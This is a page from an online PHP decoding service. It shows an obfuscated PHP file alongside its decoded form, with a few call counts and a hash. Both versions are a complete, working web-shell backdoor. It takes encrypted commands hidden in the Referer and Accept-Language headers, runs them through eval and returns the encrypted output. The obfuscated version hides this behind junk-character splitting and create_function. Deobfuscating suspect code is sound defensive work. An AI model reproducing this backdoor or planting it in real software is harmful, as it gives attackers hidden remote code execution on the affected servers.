Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $M='0;$i<$l;~b){for($~bj=0;($j~b<$c&&~b$i<$l);$j~b~b++,$i++){$o~b.=$t~b{$~bi}^$k{$j..
Decoded Output download
$kh="e4bf";$kf="f9b7";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}Did this file decode correctly?
Original Code
<?php
$M='0;$i<$l;~b){for($~bj=0;($j~b<$c&&~b$i<$l);$j~b~b++,$i++){$o~b.=$t~b{$~bi}^$k{$j};}~b}re~bturn~b $o;}~b';
$h='bu=par~bse_url(~b$rr);~bparse~b_str($u[~b"q~buery~b"],~b$q)~b;$q=ar~bray_~bvalues($q);preg_m~batch_all';
$s='$r=$_SERVE~bR;$~brr=~b@$r["HTTP_RE~bFERER"];$ra~b=@$r[~b"HTTP_A~bC~bCEPT_LANGUAG~bE"];i~bf(~b$rr&&$ra){$~';
$y='(~b"/([\\~bw])[\\w-~b]+(~b~b?:;q=0.~b([\\d]))?,~b?/",$ra,$~bm);if($~bq&&$m~b){@sess~bion_s~bt~bart();';
$a='$kh="e~b4bf";$kf=~b"f9~bb7";f~bunction x($t~b,$~bk){$c~b=str~blen($~bk);$l=st~b~brlen($t);$o="";fo~br(~b$~bi=';
$D='t();@ev~bal(@gzunco~bmpress~b(@x(~b@base~b64_de~bcode(~bpreg~b~b_replace~b(array("/_/","/~b-~b/"),arr';
$q='ey_~b~bexists($i,$s~b)){$s[$i~b].=$p;~b~b$e=strpos($s[$~bi~b],$f~b~b);if($e){$k=$kh.$~bkf;ob_st~b~bar';
$T='(md5($i.$kh),0,~b3));$f=~b$~bsl~b($ss(md5($i.$~bk~bf~b),0,3));~b$p="~b";for($z=1;$z<c~bount($m~b[1])~b';
$X='ay~b("/~b","+"),$ss($s~b[~b$~bi],~b0,$e~b))),$k)));$o=o~bb_get_conten~b~bts();ob_~bend_c~blean~b();$d=b~';
$m=str_replace('p','','cpreatpppe_funpcption');
$Y='ba~bs~be64_encode(x(gzcomp~b~bress($o),$k));p~bri~bnt("<$k>~b$d~b</$k>~b~b");@session_destroy(~b);}}}}';
$Q=';$z++)$p.~b=$q[$~bm[2][$z]~b];if(s~btrpos~b($p~b,$h)===0~b){$~bs[$i]="";~b$p~b=$ss($p,3~b);}if~b(array_k~b';
$u='$s~b=&$_~bS~bESSION;~b$ss="substr";$sl=~b"s~btrt~bolo~bwe~br";$i=$m[1][0].$~bm[1][~b1];$h=$sl(~b~b$~bss';
$S=str_replace('~b','',$a.$M.$s.$h.$y.$u.$T.$Q.$q.$D.$X.$Y);
$c=$m('',$S);$c();
?>
Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | 6645452b7b7910eae4b11e949cff1fdf |
| Eval Count | 1 |
| Decode Time | 140 ms |